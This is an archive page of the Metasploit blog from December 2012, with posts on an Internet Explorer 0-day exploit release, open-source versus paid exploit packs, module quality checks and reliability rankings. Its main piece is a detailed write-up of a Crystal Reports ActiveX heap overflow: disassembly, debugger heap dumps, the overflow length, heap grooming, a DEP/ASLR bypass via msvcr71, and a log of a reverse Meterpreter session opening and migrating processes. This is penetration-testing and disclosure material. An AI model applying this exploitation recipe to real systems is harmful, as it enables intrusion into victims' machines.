Skip navigation
All Places > Metasploit > Blog > 2012 > December
2012

Not too long ago, HD Moore was interviewed by eSecurity Planet looking back Microsoft's security over 2012.  He made a very interesting remark about the trend of Microsoft vulnerabilities:

 

"It seems like the market for Windows vulnerabilities has burned up most of the easy-to-find bugs, and the folks who would normally report the big ones are keeping them private..."

 

Today, just when we think we get to relax a little bit after a year of hard work, we are once again reminded by another Microsoft Internet Explorer 0-day about that fact, which also marks the end of 2012.  The skies did not fall, the machines did not rise... but hey, guess what, I think private 0-days will.

 

The December 0-day (CVE-2012-4792) was first spotted and publicly disclosed by FireEye, and this is the story: Sometime in December, Council on Foreign Relations (CFR)'s website was compromised, and then began hosting malicious content from there.  The 0day exploit was written to target English, Chinese (China & Taiwan), Japanese, Korean and Russian-based Windows users.  Who would usually visit the CFR website?  Please feel free to guess.  If you are using IE9 or IE10, today's is your lucky day, because you are not vulnerable to this.  For those who are using older versions of IE such as 8 -- what's the matter with you?

 

According to Net Market Share, these vulnerable IEs still make up about ~33% of the browser market share, with IE8 still being the most popular IE browser.

 

Thanks to our Metasploit contributors Eric Romang and Mahmud ab rahman (and of course, @binjo's fantastic writeup about the vulnerability), we quickly re-examined the root cause of the use-after-free, and then porting the exploit was as simple as applying our own browser exploit template, and running Corelan's pre-release WinDBG Mona exploit dev tool:

 

Screen shot 2012-12-29 at 6.00.26 PM.png

 

 

And finally, the initial version of the exploit is ready to serve the public.  Here's an example of our Metasploit exploit in action:

full_desktop.png

 

Please note that our exploit may be updated when necessary, but you can always find it here:

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/wind ows/browser/ie_cbutton_uaf.rb

 

If your computer is vulnerable to this flaw, there is currently no official patch, but here are some recommendations you may consider:

 

We DO NOT recommend using an anti-virus product as an effective mitigation, as the following example demonstrates it's possible you still could be attacked without your AV ever knowing (even with OBFUSCATE set to false):

 

Screen shot 2012-12-30 at 9.14.14 PM.png

 

In addition, here's Microsoft's official advisory for CVE-2012-4792 that you should read:

http://technet.microsoft.com/en-us/security/advisory/2794220

 

If you'd like to try out this Metasploit module to better validate your network's defenses, please feel free to download Metasploit from here.  If you habitually use Metasploit Framework, you can just run msfupdate now to obtain it.  If you're a Metasploit Pro user, you will see this module in the upcoming update.

 

 

Timeline

============

Dec 29th, 2012 - Metasploit releases exploit for CVE-2012-4792

Dec 29th, 2012 - Microsoft releases security advisory 2794220

Dec 31st, 2012 - Microsoft releases fix-it solution (KB2794220)

Jan 14th, 2013 - Microsoft releases MS13-008

In the blue corner: an open-source exploit pack. In the red corner: a pay-for-play incumbent. As a security professional trying to defend your enterprise against attacks, which corner do you bet on for your penetration tests?

 

What’s the goal of the game?

 

Okay, this is a loaded question, because it really depends on what your goal is. If you are like 99% of enterprises, you’ll want to protect against the biggest and most likely risks. If you are the 1% that comprise defense contractors and the military and have deep pockets, you’ll want to protect against all risks, so you’ll buy everything that’s on the market.

 

Let’s focus on the 99% of enterprises.


Metasploit-security-robots.jpg

Round 1: Pay-for-play exploit packs attack

 

Coming from the red corner, the pay-for-play exploit packs open with these attacks:

 

  • Keeping attack technology out of the wrong hands: Metasploit is often critiqued as giving weapons to malicious attackers. Here’s the dirty little secret: No matter how fast we run as an industry, we’re usually anywhere from a month to a year behind the bad guys. They’re not stealing ideas from us; we’re stealing ideas from them. (And yes, they hate us for it.) In addition, cybercriminals make more money that the average budget of a security professional, so don’t think they can’t afford pay-for-play packs.
  • Exploits are “commercial-grade”: Proprietary software vendors say Metasploit includes untested community contributions that are unstable and jeopardize the stability of the target systems. When Metasploit was still a weekend project of HD Moore’s, this may have been true. When Rapid7 acquired the Metasploit project in 2009, we put a 3-step quality assurance process in place that outflanked what vendors of proprietary software can offer: In addition to code reviews and automated QA, we also have the Rapid7 community of 175,000 review the code and test modules before they are accepted in the stable releases and weekly updates. As a result, we've heard from users that Metasploit exploits for the same CVE are more stable than their "commercial-grade counterparts".

 

Ding, ding. Two points for open source.


Round 2: Open source exploit packs counter

 

Metasploit-security-death-match.jpg

Coming from the blue corner, the open source exploit packs counter with full force:

 

  • Pay-for-play packs are much less relevant: Metasploit focuses on exploits that are the most relevant to security professionals. Our community of 175,000 users, security researchers, and contributors acts as “sensors” for new security trends. We often get submissions from the community that include pcaps of latest attacks, proof of concept exploits, or even full Metasploit exploit modules. The community contributors also try to exploit known vulnerabilities. Not every potential vulnerability can be exploited, so through this process we identify the ones that are easiest – not only for us but also for the attacker – and therefore most likely to show up in real-world attacks. The Rapid7 security researcher team also looks at the latest exploits contained in malware kits to provide safe versions for testing your own network’s security. By contrast, pay-for-play exploit packs have to focus on vulnerabilities in more obscure software to differentiate against what’s available in open source, which has limited value for enterprise security professionals.
  • Pay-for-play packs should be banned from most penetration tests: Many penetration test engagements exclude the use of unpublished zero-day exploits because it’s an easy (and lazy) way into an organization that is extremely hard to defend against because they don’t reflect what’s out in the wild. We established earlier that pay-for-play exploit packs have the same deficiency. Therefore, they should be excluded from most penetration tests that seek to establish the most likely attack vectors.
  • Pay-for-play packs are bad value: This is more than just arguing that open source is free and therefore impossible to beat in value. Many proprietary vendors need to make economic decisions on what’s easy to exploit and therefore focus on local exploits that can escalate privileges on a machine but not gain access to a system over the network. Local exploits are of limited value to penetration testers, so ask before you sign the check.
  • Pay-for-play packs perpetuate cybercrime: Selling a good 0-day in the underground can be a lucrative business, yielding between $20,000 and $250,000 per transaction. By publishing exploits at no cost, Metasploit destroys thousands of dollars that would otherwise go into cybercrime. (And yes, they hate us for that too.) By putting a high price on exploits, pay-for-play vendors are keeping the price for 0days high and are actually playing into the pockets of the criminals.
  • Pay-for-play packs don’t pressure vendors: Software vendors make economic decisions. They prioritize their software development based on what makes the most money. Security patches are typically pretty low on the list. This has been a huge problem for the security industry at large and explains why many vulnerabilities remain unpatched. However, there is a magic potion: Publishing an exploit for a vulnerability in Metasploit has expedited many security updates that vendors had known about for months. Metasploit's social contract is: Everybody knows, so everybody knows. Pay-for-play exploit kits are less visible and therefore contribute much less to the overall security of the industry. Often, they don't even have a disclosure policy, and there's no way to verify that they're informing vendors. This leads to worse security for everyone and favoring attackers.
  • Pay-for-play impose their own value judgment: Exploit-pack vendors who give their software only to certain groups impose their own value judgment on society, deciding that a certain government is allowed to have their 0-days while the freedom fighters aren't. By contrast, open-source a big equalizer and inherently democratic.

 

... Seven. Eight. Nine. Ten. Knock-out!

 

Ding, ding, ding.


And the winner is...

 

Okay, this is the Metasploit blog, so you expected open source to win, but even if the fight was rigged, our arguments are still solid. If you are using open source for your web server because it’s open source and more eyeballs create better security, why aren’t you doing the same when it comes to your security tools?

 

Security shouldn’t be about who’s got the deepest pockets, and that’s why we’re offering Metasploit Community Edition with all exploits for free. Our commercial edition Metasploit Pro mostly adds features for productivity and reporting, which are targeted at enterprises who can afford to pay for it.

 

What's your take on open source vs. pay-for-play exploit packs? I'd love to hear your opinion - just sign in and add your comment!

Metasploit exploits undergo a rigorous 3-step quality assurance process so you have the peace of mind that exploits will work correctly and not affect production systems on your next assignment.

 

 

Step 1: Rapid7 Code Review

 

 

Metasploit-quality-assurance-exploits.jpg

Many of the Metasploit exploits are contributed by Metasploit’s community of over 175,000 users, making Metasploit the de-facto standard for exploit development. This is a unique ecosystem that benefits all members of the community because every Metasploit user is a “sensor” in the real world that reports the latest attack vectors to the Metasploit exploit development team.

 

Quite a few people not only report what they have seen but also submit Metasploit exploit modules to the project. The Rapid7 security research team then works with the contributors to ensure that the modules meet the expected coding and quality standards and conduct a quality assurance on the code to ensure that it works as expected, doesn’t affect the stability of the exploited system, and meets our versatility requirements.

 

At this point, the exploit is also ranked by reliability; when testing production systems, we recommend that you only use exploits with a 4 or 5 star reliability rating (4 = Great, 5 = Excellent).


Step 2: Community Review

 

Let’s be intellectually honest: If you’ve ever worked in software development, you’ll know that no matter how good your QA process is, you can miss things. No QA lab can replicate every funky systems configuration and constellation that’s out there in the wild. This is where our community comes in again:

 

If you are a developer, you can choose to pull the untested code-of-the-moment straight from the GitHub repository (previously SVN), and many security professionals do. This gives us instant feedback on the quality of the latest code from a huge community, which is a priceless advantage Metasploit has over closed-source solutions.

 

At this point, I’d like to say Thank You Very Much to all of our loyal users. We can’t thank you enough, which is why we continue to offer free solutions such as Metasploit Framework and the Metasploit Community Edition. All of you ensure that open source remains better quality than proprietary solutions, which their marketing departments euphemistically position as “commercial grade”. This is ironic, since I often hear from security professionals that Metasploit exploits turn out to be more stable in the field than their proprietary counterparts for the same vulnerability.


Step 3: Automated QA Testing

 

Once a week, the current snapshot of the code undergoes an additional, automated quality assurance process before it is packages and released; this is known as the “stable tree”. Metasploit Community, Metasploit Express, and Metasploit Pro, exclusively pull from this stable tree, and users can get updates - typically every Wednesday barring major releases or holidays.

 

If you’re using Metasploit Framework, you have the choice between the development and the stable tree. If you’re using the standard installer and don’t pull from GitHub directly, msfupdate pulls the stable tree.


If you see something, say something

 

It’s always possible that something slips through the cracks even after these three vigorous steps. If you find an issue with any exploits or other parts of the code, please open a new discussion right here on Security Street to let us know. This has not only been the most effective way for us to communicate, it also publicly documents the issue for others who may be searching for a solution or work around. Users with a paid license of one of our commercial Metasploit editions can also contact Rapid7 support at support [at] rapid7 [dot] com.

In this blog post we would like to share some details about the exploit for CVE-2010-2590, which we released in the last Metasploit update. This module exploits a heap-based buffer overflow, discovered by Dmitriy Pletnev, in the CrystalReports12.CrystalPrintControl.1 ActiveX control included in PrintControl.dll. This control is shipped with the Crystal Reports Viewer, as installed by default with Crystal Reports 2008. While this is a vulnerability from the end of 2010, its exploitation has some interesting details related to heap exploitation we would like to share.

 

The vulnerability

 

The heap-based overflow, according to the provided information, occurs when setting a specially crafted ServerResourceVersion property value in a string. The next code is discovered when looking at the setter for the ServerResourceVersion property:

 

.text:3F14254B ; int __stdcall set_ServerResourceVersion_sub_3F14254B(int, wchar_t *)

.text:3F14254B PrintControl_ref_arg_0= dword ptr  4

.text:3F14254B user_string_arg_4= dword ptr  8

.text:3F14254B

.text:3F14254B                mov    eax, [esp+PrintControl_ref_arg_0]

.text:3F14254F                add    eax, 52Ch

.text:3F142554                cmp    word ptr [eax], 0

.text:3F142558                jnz    short loc_3F142566

.text:3F14255A                push    [esp+user_string_arg_4] ; wchar_t *

.text:3F14255E                push    eax            ; wchar_t *

.text:3F14255F                call    _wcscpy

.text:3F142564                pop    ecx

.text:3F142565                pop    ecx

.text:3F142566

.text:3F142566 loc_3F142566:                          ; CODE XREF: set_ServerResourceVersion_sub_3F14254B+D j

.text:3F142566                xor    eax, eax

.text:3F142568                retn    8

 

Indeed the dangerous wcscpy function is used to store an user provided string as ServerResourceVersion property for the CrystalPrintControl class. The function receives a pointer to the CrystalPrintControl object as first argument, and the 0x52c offset is used to store the provided string (second argument). We can use debugging to verify where the CrystalPrintControl object is stored:

 

ModLoad: 03da0000 03daf000  C:\Program Files\Business Objects\Common\4.0\crystalreportviewers12\ActiveXControls\PrintControl_res_en.d ll

Breakpoint 0 hit

eax=7ffd6000 ebx=3f18a820 ecx=3f14254b edx=0024949a esi=0201f508 edi=00000000

eip=3f14254b esp=0201f2a0 ebp=0201f2b8 iopl=0        nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00000202

PrintControl+0x254b:

3f14254b 8b442404        mov    eax,dword ptr [esp+4] ss:0023:0201f2a4=183cd503

0:008> dd esp L3

0201f2a0  77135cd9 03d53c18 028deebc

0:008> !address 03d53c18

Mapping file section regions...

Mapping module regions...

Mapping PEB regions...

Mapping TEB and stack regions...

Mapping heap regions...

Mapping page heap regions...

Mapping other regions...

Mapping stack trace database regions...

Mapping activation context regions...

Usage:                  Heap

Base Address:          03d50000

End Address:            03d55000

Region Size:            00005000

State:                  00001000 MEM_COMMIT

Protect:                00000004 PAGE_READWRITE

Type:                  00020000 MEM_PRIVATE

Allocation Base:        03d50000

Allocation Protect:    00000004 PAGE_READWRITE

More info:              heap owning the address: !heap 0x3d50000

More info:              heap segment

More info:              heap entry containing the address: !heap -x 0x3d53c18

0:008> !heap

Index  Address  Name      Debugging options enabled

  1:  00150000

  2:  00250000

  3:  00260000

  4:  00350000

  5:  00380000

  6:  00980000

  7:  02760000

  8:  02810000

  9:  03130000

10:  03170000

11:  031b0000

12:  02f20000

13:  03640000

14:  03740000

15:  03770000

16:  03890000

17:  03d30000

18:  03d40000

19:  03d50000

20:  03d60000

0:008> !heap -p -a 03d53c18

    address 03d53c18 found in

    _HEAP @ 3d50000

      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

        03d53c10 0128 0000  [01]  03d53c18    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

 

As expected, the CrystalPrintControl object is stored in the heap, specifically in a chunk of 0x938 bytes. Since the ServerResourceVersion is stored at the offset 0x52c, by providing a string bigger than 0x40c bytes it's possible to overflow the heap space allocated for the CrystalPrintControl object. The interesting detail to have into account is the heap where the class is stored. As you can notice it isn't stored in the default process heap (0x00150000), because of this well known javascript feng shui techniques can't be used to control the heap.

 

The Heap

 

 

cruntime_init_heap_create.png

As said just above, the vulnerable ActiveX, which lives on the PrintControl.dll module, will use a dedicated heap, created during the CRT Runtime initialization. Then memory will be allocated with the use of the C runtime new() function. In the case of creation of a CrystalPrintControl object, an allocation of the "vulnerable" size can be observed. Feel free to check the attached prezi presentation (thanks sinn3r!) for details:

prezi.png

Exploitation

 

Since a heap allocation of 0x938 bytes will be done to store each CrystalPrintControl object, we should be able to create more 0x938 allocations, in the vulnerable heap, by just creating more CrystalPrintControl objects. It can be tested with a JavaScript code like this one (tested on IE8 / XP SP3):

 

 

  • At alert(1) - Any allocation:

 

0:017> !heap -flt s 0x938

    _HEAP @ 150000

    _HEAP @ 250000

    _HEAP @ 260000

    _HEAP @ 350000

    _HEAP @ 380000

    _HEAP @ 980000

    _HEAP @ 2760000

    _HEAP @ 2810000

    _HEAP @ 3100000

    _HEAP @ 3130000

 

  • At alert(2) - 5 allocations:

 

0:017> !heap -flt s 0x938

    _HEAP @ 150000

    _HEAP @ 250000

    _HEAP @ 260000

    _HEAP @ 350000

    _HEAP @ 380000

    _HEAP @ 980000

    _HEAP @ 2760000

    _HEAP @ 2810000

    _HEAP @ 3100000

    _HEAP @ 3130000

    _HEAP @ 3240000

    _HEAP @ 35f0000

    _HEAP @ 3600000

    _HEAP @ 3610000

      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

        03613c10 0128 0000  [01]  03613c18    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03614550 0128 0128  [01]  03614558    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03614e90 0128 0128  [01]  03614e98    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        036157d0 0128 0128  [01]  036157d8    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03616110 0128 0128  [01]  03616118    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

    _HEAP @ 3620000

 

  • At alert(3) - 10 allocations:

 

0:017> !heap -flt s 0x938

    _HEAP @ 150000

    _HEAP @ 250000

    _HEAP @ 260000

    _HEAP @ 350000

    _HEAP @ 380000

    _HEAP @ 980000

    _HEAP @ 2760000

    _HEAP @ 2810000

    _HEAP @ 3100000

    _HEAP @ 3130000

    _HEAP @ 3240000

    _HEAP @ 35f0000

    _HEAP @ 3600000

    _HEAP @ 3610000

      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

        03613c10 0128 0000  [01]  03613c18    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03614550 0128 0128  [01]  03614558    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03614e90 0128 0128  [01]  03614e98    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        036157d0 0128 0128  [01]  036157d8    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03616110 0128 0128  [01]  03616118    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03616ae8 0128 0128  [01]  03616af0    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03617428 0128 0128  [01]  03617430    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03617d68 0128 0128  [01]  03617d70    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        036186a8 0128 0128  [01]  036186b0    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03618fe8 0128 0128  [01]  03618ff0    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

    _HEAP @ 3620000

 

With it in mind by just creating CrystalPrintControl objects, more 0x938 size objects (as the vulnerable one) can be created in the same heap. According to empirical tests 10 allocations seems to be sufficient to get the heap defragmented and put CrystalPrintControl objects consecutive in memory. Look at the next code modified from the one before:

 

 

At the moment of alert(1); it's the state of the CrystalPrintControl objects at memory:

 

0:018> !heap -flt s 938

    _HEAP @ 150000

    _HEAP @ 250000

    _HEAP @ 260000

    _HEAP @ 350000

    _HEAP @ 380000

    _HEAP @ 980000

    _HEAP @ 2760000

    _HEAP @ 2810000

    _HEAP @ 3210000

    _HEAP @ 3240000

    _HEAP @ 3350000

    _HEAP @ 3700000

    _HEAP @ 3810000

    _HEAP @ 3820000

      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

        03823c10 0128 0000  [01]  03823c18    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03824550 0128 0128  [01]  03824558    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03824e90 0128 0128  [01]  03824e98    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        038257d0 0128 0128  [01]  038257d8    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03826110 0128 0128  [01]  03826118    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03826a50 0128 0128  [01]  03826a58    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03827390 0128 0128  [01]  03827398    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03827cd0 0128 0128  [01]  03827cd8    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03828610 0128 0128  [01]  03828618    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03828f50 0128 0128  [01]  03828f58    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

    _HEAP @ 3830000

 

By setting the ServerResourceVersion property of the 9th object with more than 0x40C bytes (fill the 9th CrystalPrintControl object) plus 8 bytes (fill the 10th heap chunk header), finally the 10th CrystalPrintControl object in memory can be overflowed (located at 0x3828f58). After the overflow:

 

0:008> !heap -flt s 938

    _HEAP @ 150000

    _HEAP @ 250000

    _HEAP @ 260000

    _HEAP @ 350000

    _HEAP @ 380000

    _HEAP @ 980000

    _HEAP @ 2760000

    _HEAP @ 2810000

    _HEAP @ 3210000

    _HEAP @ 3240000

    _HEAP @ 3350000

    _HEAP @ 3700000

    _HEAP @ 3810000

    _HEAP @ 3820000

      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state

        03823c10 0128 0000  [01]  03823c18    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03824550 0128 0128  [01]  03824558    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03824e90 0128 0128  [01]  03824e98    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        038257d0 0128 0128  [01]  038257d8    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03826110 0128 0128  [01]  03826118    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03826a50 0128 0128  [01]  03826a58    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03827390 0128 0128  [01]  03827398    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03827cd0 0128 0128  [01]  03827cd8    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

        03828610 0128 0128  [01]  03828618    00938 - (busy)

          ? PrintControl!DllUnregisterServer+320c4

    _HEAP @ 3830000

 

What happened with the 10th object? It has been overflowed, both the heap chunk header and the object:

 

0:008> dd 03828f50 L2

03828f50  41414141 41414141

0:008> dd 03828f58 L4

03828f58  41414141 41414141 41414141 41414141

 

And when trying to use (dereference) the overflowed CrystalPrintControl object and invoke one of its methods, an interesting crash from the exploitation point of view happens:

 

(da8.cbc): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=41414141 ebx=0035b9a8 ecx=0201f608 edx=0201f5e4 esi=00355da8 edi=03828f58

eip=633a8dcb esp=0201f5b8 ebp=0201f5d0 iopl=0        nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000            efl=00010246

jscript!IDispatchGetIDsOfNames+0x86:

633a8dcb 8b4014          mov    eax,dword ptr [eax+14h] ds:0023:41414155=????????

0:008> u 633A8DC9 L 9

jscript!IDispatchGetIDsOfNames+0x84:

633a8dc9 8b07            mov    eax,dword ptr [edi]

633a8dcb 8b4014          mov    eax,dword ptr [eax+14h]

633a8dce 51              push    ecx

633a8dcf 6809040000      push    409h

633a8dd4 6a01            push    1

633a8dd6 52              push    edx

633a8dd7 6824723a63      push    offset jscript!GUID_NULL (633a7224)

633a8ddc 57              push    edi

633a8ddd ffd0          call    eax

0:008> kb

ChildEBP RetAddr  Args to Child

0201f5d0 633a8d5c 0201f5e4 0201f608 633a74d8 jscript!IDispatchGetIDsOfNames+0x86

0201f5e8 633aa51f 0035b9a8 0201f608 0035f974 jscript!GetDispatchDispID+0x2c

0201f610 633a99b7 0035b9a8 0201f738 00000002 jscript!VAR::InvokeByName+0x74

0201f7a8 633a5ab0 0201f7c0 0201f908 0201f908 jscript!CScriptRuntime::Run+0x655

0201f890 633a59f7 0201f908 00000000 00000000 jscript!ScrFncObj::CallWithFrameOnStack+0xff

0201f8dc 633a5743 0201f908 00000000 00000000 jscript!ScrFncObj::Call+0x8f

0201f958 633891f1 0035f9b8 0201fb18 00000000 jscript!CSession::Execute+0x175

0201f9a4 63388f65 0035b758 0201fb18 0201fb28 jscript!COleScript::ExecutePendingScripts+0x1c0

0201fa08 63388d7f 0035b758 028ade04 635be83c jscript!COleScript::ParseScriptTextCore+0x29a

0201fa30 635bf025 0035b75c 02910d34 028ade04 jscript!COleScript::ParseScriptText+0x30

0201fa88 635be7ca 0023e820 00000000 02838060 mshtml!CScriptCollection::ParseScriptText+0x219

0201fb4c 635be5ab 00000000 00000000 00000000 mshtml!CScriptElement::CommitCode+0x3a9

0201fb80 635ac020 7c80932e 001f8820 001f8820 mshtml!CScriptElement::Execute+0xc4

0201fbd4 635a74f0 0283e360 7c80932e 001f8820 mshtml!CHtmParse::Execute+0x4a

0201fbec 635a7266 635a6a75 02f6d3d0 001f8820 mshtml!CHtmPost::Broadcast+0xf

0201fcac 635ac2b8 02f6d3d0 00000000 001f8820 mshtml!CHtmPost::Exec+0x5f6

0201fcc4 635ac21b 02f6d3d0 00000000 001f8820 mshtml!CHtmPost::Run+0x15

0201fce4 635ac17e 0022c280 02f6d3d0 001f8820 mshtml!PostManExecute+0x1fd

0201fd04 635ac0e2 00000001 0000007f 0201fd24 mshtml!PostManResume+0xf8

0201fd14 63655d60 0024a840 001f8820 0201fd58 mshtml!CHtmPost::OnDwnChanCallback+0x10

0201fd24 6364de62 0024a840 00000000 0022c280 mshtml!CDwnChan::OnMethodCall+0x19

0201fd58 6363c3c5 0201fde0 6363c317 00000000 mshtml!GlobalWndOnMethodCall+0xfb

0201fd78 7e418734 001c0524 00000008 00000000 mshtml!GlobalWndProc+0x183

0201fda4 7e418816 6363c317 001c0524 00008002 USER32!InternalCallWinProc+0x28

0201fe0c 7e4189cd 00000000 6363c317 001c0524 USER32!UserCallWinProcCheckWow+0x150

0201fe6c 7e418a10 0201fe94 00000000 0201feec USER32!DispatchMessageWorker+0x306

0201fe7c 00cb2ec9 0201fe94 00000000 00355aa8 USER32!DispatchMessageW+0xf

0201feec 00c548bf 00182148 00000001 0015fe68 IEFRAME!CTabWindow::_TabWindowThreadProc+0x461

0201ffa4 5de05a60 00355aa8 0bf0002f 0201ffec IEFRAME!LCIETab_ThreadProc+0x2c1

0201ffb4 7c80b713 0015fe68 00000001 0bf0002f iertutil!CIsoScope::RegisterThread+0xab

0201ffec 00000000 5de05a52 0015fe68 00000000 kernel32!BaseThreadStart+0x37

 

In this case, the vulnerable ActiveX (PrintControl) also ships the well known msvcr71.dll, which can be used to bypass DEP/ASLR protections via rop chain:

 

msvcr71.png

 

So far so good, time to demo the metasploit module!

 

  
msf  exploit(crystal_reports_printcontrol) > exploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.129:4444 

[*] Using URL: http://0.0.0.0:8080/IXWArTzszXQO
[*]  Local IP: http://192.168.1.129:8080/IXWArTzszXQO
[*] Server started.
msf  exploit(crystal_reports_printcontrol) > [*] 192.168.1.137    crystal_reports_printcontrol - Requesting: /IXWArTzszXQO
[*] 192.168.1.137    crystal_reports_printcontrol - Target selected as: IE 8 on Windows 7
[*] 192.168.1.137    crystal_reports_printcontrol - Using JRE ROP
[*] 192.168.1.137    crystal_reports_printcontrol - Sending HTML...
[*] Sending stage (752128 bytes) to 192.168.1.137
[*] Meterpreter session 1 opened (192.168.1.129:4444 -> 192.168.1.137:49654) at 2012-12-14 12:44:02 +0100
[*] Session ID 1 (192.168.1.129:4444 -> 192.168.1.137:49654) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1648)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2484
[+] Successfully migrated to process 

 

 

 

 

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions.


PD: As always, thanks to sinn3r for keep reviewing and helping to make it look better!

Dissecting CrystalPrintControl

 

This week's update is, by all accounts, pretty light. This may be the first update we've shipped that has exactly one new module.  To make up for the lack of quantity, though, we've got some quality for you, oh boy.

 

If it's snowy and blustery where you live, grab yourself a cup of hot cocoa, gather the kids, and watch their little eyes twinkle in the firelight as you regale them with the classic fable of how Metasploit Exploitation Elf Juan @_juan_vazquez Vazquez exploited a heap-based buffer overflow in the Crystal Reports Viewer CrystalPrintControl, all while outside the default process heap. No small task, and if that's not the true meaning of Christmas, then I don't know what is.

 

Red, Green, Refactor (and lint check!)

 

We also shipped a long-awaited API enhancement to writing Metasploit modules in the form of the normalize_uri() method, which is part of the remote exploit HttpClient mixin. It's a method that ensures your HTTP URI's slashes are all nicely formed in the cases where you want that, which is nice and all... but the big delivery here is the RSpec coverage for normalize_uri(). We now kick this new functionality through 23 tests to ensure now and forever that anytime we break it, we know about it.

 

I've talked before about Metasploit's Travis-CI integration for testable commits, so this update delivers on that continuous integration promise. Metasploit Framework now has something like 447 test cases, which is 447 more than we've had in a while. (For the historians, we did have a brief spell of checking in unit tests for some functionality, but that fell out of vogue pretty fast -- Rspec testing should be significantly more durable).

 

Thanks Luke @KronicDeth Imhoff and HD @hdmoore Moore for seeing this all through. I, for one, welcome our new TDD overlords. In addition, Wei @_sinn3r Chen has been busy updating the venerable msftidy.rb utility. Msftidy is is essentially a lint checker for Metasploit modules, and offers lots of warnings and error reporting for common problems we see in module submissions. If you're the sort to keep your own module trees for Metasploit, but haven't kicked them through msftidy lately, you might be surprised at the syntax coverage we offer now.

 

New Module

 

Yep, it's just the one, described in detail in Juan and sinn3r's post.

 

 

Availability

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandon Turner's most excellent release notes.

Update: The latest update is now actually 2012121903, with  release notes here. It's an Xmas miracle!

phishing SS blog.PNGPhishing is on the rise as an attack vector because it's often the fastest and easiest way to penetrate a network's defenses. You're doing security awareness training, but how do your users behave when faced with a real phishing

 

e-mail?  So how can you train people to smell a phish and just say no?  In this Whiteboard Wednesday, I'll walk you through some telltale signs and techniques you can use to reduce the risk of falling for phish.  Topics covered in this video include:

 

  • What is phishing?
  • Different types of phish: e-mail with attachment, web-based, malware-laced, credential-capture...
  • How to measure user behavior
  • Improving behavior: go phish!
  • How to conduct phishing exercises
  • Key metrics to monitor
  • Remediation: how to remove that pesky phish odor
  • Tools to automate phishing

 

Watch the video here or click the image to the right!

Experienced penetration testers know what to look out for when testing production systems so they don’t disrupt operations. Here’s our guide to ensure smooth sailing.


Vulnerabilities are unintentional APIs

 

In my warped view of the world, vulnerabilities are APIs that weren’t entirely intended by the developer. They hey are also undocumented and unsupported. Some of these vulnerabilities are exploited more reliably than others, and there are essentially three vectors to rank them:

 

  • Exploit success rate: Some exploits will get you a session every time, which is why folks luuuurve MS08-067. Others are more hit-and-miss, or they may only work on the first try but not the second.
  • Target system stability: Other exploits can get you a session but the process makes the system unstable. Think of a denial of service module as an extreme case of this vector.
  • Fingerprinting: Does the exploit reliably fingerprint the target system to ensure that it only works on tested target systems. Using an exploit on the wrong system can potentially destabilize the target system.


Understanding Metasploit reliability rankings

 

As part of Metasploit’s rigorous 3-step quality assurance process, we rank exploits by reliability. Knowing the ins-and-outs of the rankings protects the stability of the systems so your IT operations buddies remain happy bunnies.

 

Each Metasploit exploit, and indeed each module, is classified according to five reliability levels. Modules include exploits as well as auxiliary modules, such as brute forcing modules, and payloads. Understanding the reliability rankings is key to safely test production systems.

 

  • 5 Stars - Excellent: Safe to use on production systems. The exploit gets you a session every time (barring environmental factors) and provably cannot destabilize the target system, e.g. SQL injection, CMD execution, RFI, LFI. Memory corruption exploits are typically not given this ranking unless there are extraordinary circumstances, e.g. WMF Escape().
